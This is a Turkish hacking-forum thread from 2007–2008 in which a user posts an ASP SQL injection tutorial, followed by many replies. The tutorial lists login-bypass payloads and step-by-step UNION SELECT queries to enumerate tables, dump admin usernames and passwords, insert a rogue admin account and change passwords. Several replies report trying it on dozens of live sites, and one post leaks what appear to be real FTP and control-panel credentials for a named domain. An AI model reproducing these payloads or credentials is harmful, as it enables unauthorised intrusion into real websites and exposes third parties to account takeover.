PDA

Orijinalini görmek için tıklayınız

eXTReMe Tracker
: ASP SQL İnjection - By FaTaLiST


FaTaLiST
10-05-2007, 04:49 PM
Merhaba arkadaşlar.Bu konuda sizlere sql injection saldırıları hakkında bilgiler sunacağım.Döküman alıntı değildir.(ruhemici tarafından hazırlanmıştır)

SQL Nedir?
Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi
programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama
türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar.

Sql Injection Nedir?
Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle
sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin
üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir.

Sql Injection Açıklarını Bulmak
Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış
sayfalarda bazı sayflar parametre alır.Mesela ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını
inceleriz.Kaynak kodlarında form etiketini aramalıyız.

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Bir sayfada açık olup olmadığını nasıl anlayabiliriz?
Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection
saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir.

admin’--
’ or 0=0 --
" or 0=0 --
or 0=0 --
’ or 0=0 #
" or 0=0 #
or 0=0 #
’ or ’x’=’x
" or "x"="x
’) or (’x’=’x
’ or 1=1--
" or 1=1--
or 1=1--
’ or a=a--
" or "a"="a
’) or (’a’=’a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi’ or 1=1 --
hi’ or ’a’=’a
hi’) or (’a’=’a
hi") or ("a"="a
gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri
sunmasını sağlamaktır.Örneğin tablo isimleri gibi.

Tablo isimlerini öğrenelim
Sitemiz Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 olsun.

Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz.


Kod:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–


Yani son hali şu şekilde olacak ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık.
TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir.

Enter'a bastığımızda şöyle bir hata veriyor olacak.

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi.

Sonraki tablonun adını almak için kodumuz ;

Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')–


Mesela içinde user geçen tablonunu adını almak için ;


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’--


Böyle bir hata ile karşılaşacağız.

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

İçinde admin geçenler için mesela aynı şey geçerli.


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’--


TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir.

Böylece hatamız;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz.

Sütun isimlerini öğrenmek

Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak.


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’--

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Admins tablosundaki ilk sütun logon.

Şimdi diğer sütunun ismine bakalım.


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)--


Kod bu.Hatamız ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim.

Kullanıcı adı ve şifreler
İlk önce admins tablosunun ilk sütunu olan logon'a bakalım.


Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 logon FROM admins--


Hata ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ;


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 password FROM admins where logon=’ star ’--


Hatamız ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

star kullanıcısın şifresi hack.

Yeni bir kullanıcı eklemek

Bunun için ;


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)--


Kullanıcı adı : Ruhemici
Şifre : ruh

olan bir kullanıcı veritabanına eklenmiş oldu.

Veritabanındaki bir veriyi değiştirmek

Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim.


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5; UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’--


Böylece şifreyi yenişifre olarak değiştirmiş olduk.

Sayısal bilgilere ulaşmak

Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda
bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir.


Kod:
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..;.com/index.asp?id=5 UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘–


star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu
bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ;

Sitedeki Linkleri Sadece Üyelerimiz Görebilir..

star2 kullanıcısının şifresi 123456
Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır.

infiltrat0r
10-05-2007, 04:51 PM
saolasın adminm süper döküman.

WebLOADER
10-05-2007, 05:09 PM
Güzel Gerçekten ;)

TheWorm
10-05-2007, 05:39 PM
bu siteye bole konular yakısır

DesTRoyéR
10-05-2007, 06:19 PM
emek süper siteyede bu yakışır yararlı olur yeniler için

DarqKinq
10-05-2007, 06:26 PM
cok guzel anlatim cok saol.

HercuL
10-05-2007, 06:43 PM
emegıne saglık

HaTReD
10-05-2007, 08:51 PM
yine döktürmüşsünüz elinize sağlık:D

Nicomedian
10-05-2007, 08:56 PM
anlatım super eline saglık

PaSHaSHT
11-29-2007, 04:55 PM
qerceqtende qüseL.... emeqe Sayqı

By Nefret
12-04-2007, 05:19 PM
saol elerine sağlık

Ulath
12-04-2007, 05:22 PM
anlatım süper olmus

medid_10
12-04-2007, 08:37 PM
güzel anlatmışsınız sayın adminm teşekkürler eline sağlık ayrıyaten siteye yeni üye oldum herkese iyi akşamlar.

Pc-Error
12-06-2007, 01:03 AM
teşekkürler fatal .. ben yoqqen yeni elemanlar gelmiş buraya

Başarılarınızın Devamını Diliyorum :)

öz ayhan
12-07-2007, 07:32 AM
hocam benim internet sayfasına girerken başka sayfaya yönlendiriliyorum birsürü proğram denedim önüne geçemedim yardımçı olursanız sevinirim şimditen tşkler

WebRooT
12-08-2007, 04:49 PM
ewt aslında güzel bir yöntem fakat yeni başlayalar için biraz ağır

argunhakan
12-08-2007, 09:52 PM
emeğe saygı...gerçekten güzel paylaşım

karabakhh
12-23-2007, 12:14 PM
a'q nasil guzel anlatmisin bravo tsk kardes

BaLYoZz
12-24-2007, 06:43 PM
paylasim için saol FaTaLiST (Sitedeki Linkleri Sadece Üyelerimiz Görebilir..)

maNga_HaCK
01-08-2008, 10:33 AM
bunu biliyodum yinede saol

bunu php'de kulana bilir miyiz ?

kledolf
01-19-2008, 10:41 PM
güzell paylaşımmm için teşk.

c0ld-b0mb3r
01-19-2008, 10:44 PM
anlatım süper:D

THE CoNDoR
01-22-2008, 01:07 AM
arkadaşlar diyelim böle bi yere kadar geldim...
Sitedeki Linkleri Sadece Üyelerimiz Görebilir..
burdan sonra
usarname ve password
yerlerine ne yazmalıyım ki Kullanıcı adı ve Şifreyi Enjeksiyona uğratiyim...
yardımcı olursanız sevinirim...
yukarıda verdiklerinizi denedim olmadı

yusufkaan
01-26-2008, 01:44 PM
işeyarıyosa adımı degiştirecem 3 gundür 100 sitede denıyorum aldıgım sonuc 0

keak
01-29-2008, 12:39 PM
saol FaTaLİST bey abi gzl paylaşm açıklayici olmuş

keak
01-29-2008, 02:34 PM
ODBC hatası nasi oluyor resmini koyabilir msn bir çoq sitede denedim farkli hatalar werdi

tr_kramer
01-30-2008, 05:20 AM
saolasın ellerine emeğine sağlık gerçekten mükemmel.

evanes1
01-30-2008, 01:28 PM
super saol admin bey ben yeni uyeyim ogrenmem gereken cok sey var cok saol :)

ftphacked
02-23-2008, 02:42 AM
Baglanti Adresi: ftp.erolsandik.com (ftp://ftp.erolsandik.com/)
Kullanici Adi: erolsandik.com
Sifre: 87RS76
Panel Adresi: Sitedeki Linkleri Sadece Üyelerimiz Görebilir.. (Sitedeki Linkleri Sadece Üyelerimiz Görebilir..)
Kullanici Adi: erolsandik
Sifre: erol3838

The_EşREF
03-01-2008, 06:14 PM
Saolun GÜzel Sunum..!!

Kzl*
03-03-2008, 07:57 PM
şu ana kadar 50-60 sitede denedim hiçbirinde çalışmadı dediklerini aynen uyguladım ama ne bi sütün ne bi tablo adı vermiyor
yinede sağol

SanaLVurguN
03-20-2008, 12:26 AM
süper paylaşım eline sağlık

hatiyago
04-25-2008, 01:00 AM
mükemmel anlatim faydali bilgiler, emegine saglik cok tesekkur ederim

MusT-i
05-19-2008, 09:04 AM
süper teşekkür ederim

etonline
06-02-2008, 10:35 PM
ellerine sağlık çok guzel bilgiler var ben buna +rep vermiyimde napim :D

jaguar457457
06-03-2008, 10:16 AM
süper kardeş çok sağol

pcopath
07-11-2008, 02:37 PM
süper anlatım sağol....

Ottomania
07-11-2008, 11:30 PM
Harbiden

Ottomania
07-11-2008, 11:31 PM
Harbiden Süpersin Fatal Yararlı Bir Döküman Olmuş ! ;)

SaDiZt
07-11-2008, 11:48 PM
şu ana kadar 50-60 sitede denedim hiçbirinde çalışmadı dediklerini aynen uyguladım ama ne bi sütün ne bi tablo adı vermiyor
yinede sağol

Kodlayan ßypass işlemlerini Filtrelemediyse Admin Girişi Yapabilirsin %1 Yani İhtimalin Fakat Bazı Meshur Sitelerde Bile Bu Acığa Rastlayabiliyoruz

frkhan
08-16-2008, 04:28 PM
Ellerine sağlık sitedeki en güzel paylaşımlardan birisi , zaten sitede paylasım yapanların hepsi boş kişiler konus acmıs olmak için acıyor güzel konu bulmak zor maalesef bilen paylaşmıyor böyle olunca hiç bir anlamı kalmıyor ama bu cok güzel bir döküman

AcidmaX
08-16-2008, 04:53 PM
Bir yil oluyor.Zamanında çok almıştık bu açıktan site :)

Secai
09-12-2008, 07:40 PM
Teşekkürler Kardeş Emege Saygı

By-ReiS
09-12-2008, 08:36 PM
Eline sağlık Güzel Anlatım

mexico
10-12-2008, 12:37 AM
paylaşım için teşekkür ederim.